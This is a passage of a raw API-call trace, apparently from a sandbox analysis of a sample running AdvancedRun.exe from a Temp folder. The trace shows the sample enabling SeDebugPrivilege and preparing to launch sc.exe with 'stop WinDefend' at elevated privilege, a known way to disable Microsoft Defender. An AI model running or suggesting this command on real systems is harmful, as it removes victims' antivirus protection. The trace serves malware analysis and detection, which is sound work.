_Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0237.248] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0237.262] wcscat (in: _Dest=0x18d9f8, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0237.262] wcscat (in: _Dest=0x18d9f8, _Source="shell32.dll" | out: _Dest="C:\\Windows\\system32\\shell32.dll") returned="C:\\Windows\\system32\\shell32.dll" [0237.262] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75ff0000 [0237.264] GetProcAddress (hModule=0x75ff0000, lpProcName="SHGetSpecialFolderPathW") returned 0x76010468 [0237.264] SetErrorMode (uMode=0x8001) returned 0x0 [0237.264] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0237.264] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x40a3c1, lParam=0x0) returned 1 [0237.264] EnumResourceNamesW (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.264] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x41d558 [0237.264] SizeofResource (hModule=0x400000, hResInfo=0x41d558) returned 0x134 [0237.264] LoadResource (hModule=0x400000, hResInfo=0x41d558) returned 0x41d778 [0237.264] LockResource (hResData=0x41d778) returned 0x41d778 [0237.264] EnumResourceNamesW (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.264] FindResourceW (hModule=0x400000, lpName=0x6e, lpType=0x2) returned 0x41d568 [0237.264] SizeofResource (hModule=0x400000, hResInfo=0x41d568) returned 0x1528 [0237.264] LoadResource (hModule=0x400000, hResInfo=0x41d568) returned 0x41d8ac [0237.264] LockResource (hResData=0x41d8ac) returned 0x41d8ac [0237.265] FindResourceW (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x41d578 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d578) returned 0xd8 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d578) returned 0x41edd4 [0237.265] LockResource (hResData=0x41edd4) returned 0x41edd4 [0237.265] FindResourceW (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x41d588 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d588) returned 0xd8 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d588) returned 0x41eeac [0237.265] LockResource (hResData=0x41eeac) returned 0x41eeac [0237.265] EnumResourceNamesW (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.265] FindResourceW (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x41d598 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d598) returned 0x10a8 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d598) returned 0x41ef84 [0237.265] LockResource (hResData=0x41ef84) returned 0x41ef84 [0237.265] FindResourceW (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x41d5a8 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d5a8) returned 0x468 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d5a8) returned 0x42002c [0237.265] LockResource (hResData=0x42002c) returned 0x42002c [0237.265] FindResourceW (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x41d5b8 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d5b8) returned 0x128 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d5b8) returned 0x420494 [0237.265] LockResource (hResData=0x420494) returned 0x420494 [0237.265] EnumResourceNamesW (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.265] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x41d5c8 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d5c8) returned 0x364 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d5c8) returned 0x4205bc [0237.265] LockResource (hResData=0x4205bc) returned 0x4205bc [0237.265] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x41d5d8 [0237.265] SizeofResource (hModule=0x400000, hResInfo=0x41d5d8) returned 0x1c4 [0237.265] LoadResource (hModule=0x400000, hResInfo=0x41d5d8) returned 0x420920 [0237.265] LockResource (hResData=0x420920) returned 0x420920 [0237.265] EnumResourceNamesW (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.265] FindResourceW (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x41d5e8 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d5e8) returned 0xa2 [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d5e8) returned 0x420ae4 [0237.266] LockResource (hResData=0x420ae4) returned 0x420ae4 [0237.266] FindResourceW (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x41d5f8 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d5f8) returned 0x296 [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d5f8) returned 0x420b88 [0237.266] LockResource (hResData=0x420b88) returned 0x420b88 [0237.266] FindResourceW (hModule=0x400000, lpName=0x6f, lpType=0x5) returned 0x41d608 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d608) returned 0xbda [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d608) returned 0x420e20 [0237.266] LockResource (hResData=0x420e20) returned 0x420e20 [0237.266] FindResourceW (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x41d618 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d618) returned 0xfa [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d618) returned 0x4219fc [0237.266] LockResource (hResData=0x4219fc) returned 0x4219fc [0237.266] FindResourceW (hModule=0x400000, lpName=0x71, lpType=0x5) returned 0x41d628 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d628) returned 0xe4 [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d628) returned 0x421af8 [0237.266] LockResource (hResData=0x421af8) returned 0x421af8 [0237.266] FindResourceW (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x41d638 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d638) returned 0x336 [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d638) returned 0x421bdc [0237.266] LockResource (hResData=0x421bdc) returned 0x421bdc [0237.266] EnumResourceNamesW (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.266] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x41d648 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d648) returned 0x12a [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d648) returned 0x421f14 [0237.266] LockResource (hResData=0x421f14) returned 0x421f14 [0237.266] FindResourceW (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x41d658 [0237.266] SizeofResource (hModule=0x400000, hResInfo=0x41d658) returned 0x42 [0237.266] LoadResource (hModule=0x400000, hResInfo=0x41d658) returned 0x422040 [0237.266] LockResource (hResData=0x422040) returned 0x422040 [0237.267] FindResourceW (hModule=0x400000, lpName=0x23, lpType=0x6) returned 0x41d668 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d668) returned 0x62 [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d668) returned 0x422084 [0237.267] LockResource (hResData=0x422084) returned 0x422084 [0237.267] FindResourceW (hModule=0x400000, lpName=0x26, lpType=0x6) returned 0x41d678 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d678) returned 0x7c [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d678) returned 0x4220e8 [0237.267] LockResource (hResData=0x4220e8) returned 0x4220e8 [0237.267] FindResourceW (hModule=0x400000, lpName=0x27, lpType=0x6) returned 0x41d688 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d688) returned 0x5c [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d688) returned 0x422164 [0237.267] LockResource (hResData=0x422164) returned 0x422164 [0237.267] FindResourceW (hModule=0x400000, lpName=0x28, lpType=0x6) returned 0x41d698 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d698) returned 0x6a [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d698) returned 0x4221c0 [0237.267] LockResource (hResData=0x4221c0) returned 0x4221c0 [0237.267] FindResourceW (hModule=0x400000, lpName=0x29, lpType=0x6) returned 0x41d6a8 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d6a8) returned 0x22c [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d6a8) returned 0x42222c [0237.267] LockResource (hResData=0x42222c) returned 0x42222c [0237.267] FindResourceW (hModule=0x400000, lpName=0x2a, lpType=0x6) returned 0x41d6b8 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d6b8) returned 0x1b2 [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d6b8) returned 0x422458 [0237.267] LockResource (hResData=0x422458) returned 0x422458 [0237.267] FindResourceW (hModule=0x400000, lpName=0x2c, lpType=0x6) returned 0x41d6c8 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d6c8) returned 0x96 [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d6c8) returned 0x42260c [0237.267] LockResource (hResData=0x42260c) returned 0x42260c [0237.267] FindResourceW (hModule=0x400000, lpName=0x2d, lpType=0x6) returned 0x41d6d8 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d6d8) returned 0x14e [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d6d8) returned 0x4226a4 [0237.267] LockResource (hResData=0x4226a4) returned 0x4226a4 [0237.267] FindResourceW (hModule=0x400000, lpName=0x2f, lpType=0x6) returned 0x41d6e8 [0237.267] SizeofResource (hModule=0x400000, hResInfo=0x41d6e8) returned 0x4e [0237.267] LoadResource (hModule=0x400000, hResInfo=0x41d6e8) returned 0x4227f4 [0237.267] LockResource (hResData=0x4227f4) returned 0x4227f4 [0237.267] FindResourceW (hModule=0x400000, lpName=0x30, lpType=0x6) returned 0x41d6f8 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d6f8) returned 0x3a [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d6f8) returned 0x422844 [0237.268] LockResource (hResData=0x422844) returned 0x422844 [0237.268] FindResourceW (hModule=0x400000, lpName=0x4c, lpType=0x6) returned 0x41d708 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d708) returned 0x90 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d708) returned 0x422880 [0237.268] LockResource (hResData=0x422880) returned 0x422880 [0237.268] EnumResourceNamesW (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.268] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x41d718 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d718) returned 0x48 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d718) returned 0x422910 [0237.268] LockResource (hResData=0x422910) returned 0x422910 [0237.268] EnumResourceNamesW (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.268] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x41d728 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d728) returned 0x14 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d728) returned 0x422958 [0237.268] LockResource (hResData=0x422958) returned 0x422958 [0237.268] EnumResourceNamesW (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.268] FindResourceW (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x41d738 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d738) returned 0x22 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d738) returned 0x42296c [0237.268] LockResource (hResData=0x42296c) returned 0x42296c [0237.268] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x41d748 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d748) returned 0x14 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d748) returned 0x422990 [0237.268] LockResource (hResData=0x422990) returned 0x422990 [0237.268] EnumResourceNamesW (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.268] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x41d758 [0237.268] SizeofResource (hModule=0x400000, hResInfo=0x41d758) returned 0x320 [0237.268] LoadResource (hModule=0x400000, hResInfo=0x41d758) returned 0x4229a4 [0237.268] LockResource (hResData=0x4229a4) returned 0x4229a4 [0237.268] EnumResourceNamesW (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0237.269] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x41d768 [0237.269] SizeofResource (hModule=0x400000, hResInfo=0x41d768) returned 0x445 [0237.269] LoadResource (hModule=0x400000, hResInfo=0x41d768) returned 0x422cc4 [0237.269] LockResource (hResData=0x422cc4) returned 0x422cc4 [0237.269] free (_Block=0x0) [0237.269] free (_Block=0x0) [0237.269] malloc (_Size=0x80) returned 0x513e90 [0237.269] malloc (_Size=0x200) returned 0x5127c8 [0237.269] wcslen (_String="/EXEFilename") returned 0xc [0237.269] malloc (_Size=0x800) returned 0x5129d0 [0237.269] malloc (_Size=0x400) returned 0x513f18 [0237.269] wcslen (_String="C:\\Windows\\System32\\sc.exe") returned 0x1a [0237.269] wcslen (_String="/WindowState") returned 0xc [0237.269] wcslen (_String="0") returned 0x1 [0237.269] wcslen (_String="/CommandLine") returned 0xc [0237.269] wcslen (_String="stop WinDefend") returned 0xe [0237.269] wcslen (_String="/StartDirectory") returned 0xf [0237.269] wcslen (_String="") returned 0x0 [0237.269] wcslen (_String="/RunAs") returned 0x6 [0237.269] wcslen (_String="8") returned 0x1 [0237.269] wcslen (_String="/Run") returned 0x4 [0237.269] free (_Block=0x5127c8) [0237.269] GetCurrentProcess () returned 0xffffffff [0237.269] wcscpy (in: _Dest=0x18d9a8, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0237.270] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0237.270] wcscat (in: _Dest=0x18d9a8, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0237.270] wcscat (in: _Dest=0x18d9a8, _Source="advapi32.dll" | out: _Dest="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0237.270] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x75ca0000 [0237.270] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0237.271] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x18e1e4 | out: TokenHandle=0x18e1e4*=0xb4) returned 1 [0237.271] GetProcAddress (hModule=0x75ca0000, lpProcName="LookupPrivilegeValueW") returned 0x75cb41b3 [0237.271] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x18e1d8 | out: lpLuid=0x18e1d8*(LowPart=0x14, HighPart=0)) returned 1 [0237.278] GetProcAddress (hModule=0x75ca0000, lpProcName="AdjustTokenPrivileges") returned 0x75cb418e [0237.278] AdjustTokenPrivileges (in: TokenHandle=0xb4, DisableAllPrivileges=0, NewState=0x18e1d4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0237.278] GetLastError () returned 0x0 [0237.278] CloseHandle (hObject=0xb4) returned 1 [0237.278] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0237.278] _wcsicmp (_String1="/SpecialRun", _String2="/EXEFilename") returned 14 [0237.278] _wcsicmp (_String1="/SpecialRun", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="/WindowState") returned -4 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="0") returned -1 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="/CommandLine") returned 16 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="stop WinDefend") returned -68 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="/StartDirectory") returned -4 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="") returned 47 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="/RunAs") returned 1 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="8") returned -9 [0237.279] _wcsicmp (_String1="/SpecialRun", _String2="/Run") returned 1 [0237.279] _wcsicmp (_String1="/Run", _String2="/EXEFilename") returned 13 [0237.279] _wcsicmp (_String1="/Run", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.279] _wcsicmp (_String1="/Run", _String2="/WindowState") returned -5 [0237.279] _wcsicmp (_String1="/Run", _String2="0") returned -1 [0237.279] _wcsicmp (_String1="/Run", _String2="/CommandLine") returned 15 [0237.279] _wcsicmp (_String1="/Run", _String2="stop WinDefend") returned -68 [0237.279] _wcsicmp (_String1="/Run", _String2="/StartDirectory") returned -1 [0237.279] _wcsicmp (_String1="/Run", _String2="") returned 47 [0237.279] _wcsicmp (_String1="/Run", _String2="/RunAs") returned -97 [0237.279] _wcsicmp (_String1="/Run", _String2="8") returned -9 [0237.279] _wcsicmp (_String1="/Run", _String2="/Run") returned 0 [0237.279] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18dfec, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0237.279] wcscat (in: _Dest=0x18dfec, _Source=".cfg" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" [0237.279] wcscpy (in: _Dest=0x18dbc4, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" [0237.279] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0237.280] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x189b74, nSize=0x2000, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.297] wcslen (_String="") returned 0x0 [0237.297] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0237.297] GetPrivateProfileIntW (lpAppName="General", lpKeyName="AutoRun", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.297] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0237.299] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="EXEFilename", lpDefault="", lpReturnedString=0x4101d8, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.299] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="CommandLine", lpDefault="", lpReturnedString=0x4103e2, nSize=0x2000, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.300] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="StartDirectory", lpDefault="", lpReturnedString=0x4143e4, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="PriorityClass", nDefault=32, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x20 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="WindowState", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseWindowPosition", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.300] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WindowPosition", lpDefault="20,20", lpReturnedString=0x4145fc, nSize=0x1f, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="20,20") returned 0x5 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseWindowSize", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.300] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WindowSize", lpDefault="640,400", lpReturnedString=0x414640, nSize=0x1f, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="640,400") returned 0x7 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="RunAs", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0237.300] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsProcessName", lpDefault="", lpReturnedString=0x414684, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="EnvironmentVariablesMode", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="OSCompatMode", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.300] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseSearchPath", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ParseVarCommandLine", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseAffinityMask", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="AffinityMask", lpDefault="0 1", lpReturnedString=0x414eb4, nSize=0x3ff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="0 1") returned 0x3 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="Compat640480", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableVisualThemes", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableDesktopComp", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableDPI", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatColors", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.301] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsUserName", lpDefault="", lpReturnedString=0x41488e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.301] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsDomain", lpDefault="", lpReturnedString=0x414a8e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.301] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsPassword", lpDefault="", lpReturnedString=0x414c8e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0237.301] wcscpy (in: _Dest=0x18ddce, _Source="EnvironmentVariables" | out: _Dest="EnvironmentVariables") returned="EnvironmentVariables" [0237.302] GetPrivateProfileIntW (lpAppName="EnvironmentVariables", lpKeyName="Lines", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0237.302] wcslen (_String="") returned 0x0 [0237.302] malloc (_Size=0x8000) returned 0x514320 [0237.302] free (_Block=0x0) [0237.302] free (_Block=0x0) [0237.302] wcscpy (in: _Dest=0x18e46a, _Source="General" | out: _Dest="General") returned="General" [0237.302] wcscat (in: _Dest=0x18dfac, _Source="EXEFilename" | out: _Dest="/EXEFilename") returned="/EXEFilename" [0237.302] _wcsicmp (_String1="/EXEFilename", _String2="/EXEFilename") returned 0 [0237.302] wcslen (_String="C:\\Windows\\System32\\sc.exe") returned 0x1a [0237.302] wcscat (in: _Dest=0x18dfac, _Source="CommandLine" | out: _Dest="/CommandLine") returned="/CommandLine" [0237.302] _wcsicmp (_String1="/CommandLine", _String2="/EXEFilename") returned -2 [0237.302] _wcsicmp (_String1="/CommandLine", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.302] _wcsicmp (_String1="/CommandLine", _String2="/WindowState") returned -20 [0237.302] _wcsicmp (_String1="/CommandLine", _String2="0") returned -1 [0237.302] _wcsicmp (_String1="/CommandLine", _String2="/CommandLine") returned 0 [0237.302] wcslen (_String="stop WinDefend") returned 0xe [0237.302] wcscat (in: _Dest=0x18dfac, _Source="StartDirectory" | out: _Dest="/StartDirectory") returned="/StartDirectory" [0237.302] _wcsicmp (_String1="/StartDirectory", _String2="/EXEFilename") returned 14 [0237.302] _wcsicmp (_String1="/StartDirectory", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.302] _wcsicmp (_String1="/StartDirectory", _String2="/WindowState") returned -4 [0237.302] _wcsicmp (_String1="/StartDirectory", _String2="0") returned -1 [0237.302] _wcsicmp (_String1="/StartDirectory", _String2="/CommandLine") returned 16 [0237.303] _wcsicmp (_String1="/StartDirectory", _String2="stop WinDefend") returned -68 [0237.303] _wcsicmp (_String1="/StartDirectory", _String2="/StartDirectory") returned 0 [0237.303] wcslen (_String="") returned 0x0 [0237.303] wcscat (in: _Dest=0x18dfb0, _Source="PriorityClass" | out: _Dest="/PriorityClass") returned="/PriorityClass" [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/EXEFilename") returned 11 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/WindowState") returned -7 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="0") returned -1 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/CommandLine") returned 13 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="stop WinDefend") returned -68 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/StartDirectory") returned -3 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="") returned 47 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/RunAs") returned -2 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="8") returned -9 [0237.303] _wcsicmp (_String1="/PriorityClass", _String2="/Run") returned -2 [0237.303] wcscat (in: _Dest=0x18dfb0, _Source="WindowState" | out: _Dest="/WindowState") returned="/WindowState" [0237.303] _wcsicmp (_String1="/WindowState", _String2="/EXEFilename") returned 18 [0237.303] _wcsicmp (_String1="/WindowState", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.303] _wcsicmp (_String1="/WindowState", _String2="/WindowState") returned 0 [0237.303] _wtoi (_String="0") returned 0 [0237.303] wcscat (in: _Dest=0x18dfb0, _Source="UseWindowPosition" | out: _Dest="/UseWindowPosition") returned="/UseWindowPosition" [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/EXEFilename") returned 16 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/WindowState") returned -2 [0237.303] _wcsicmp 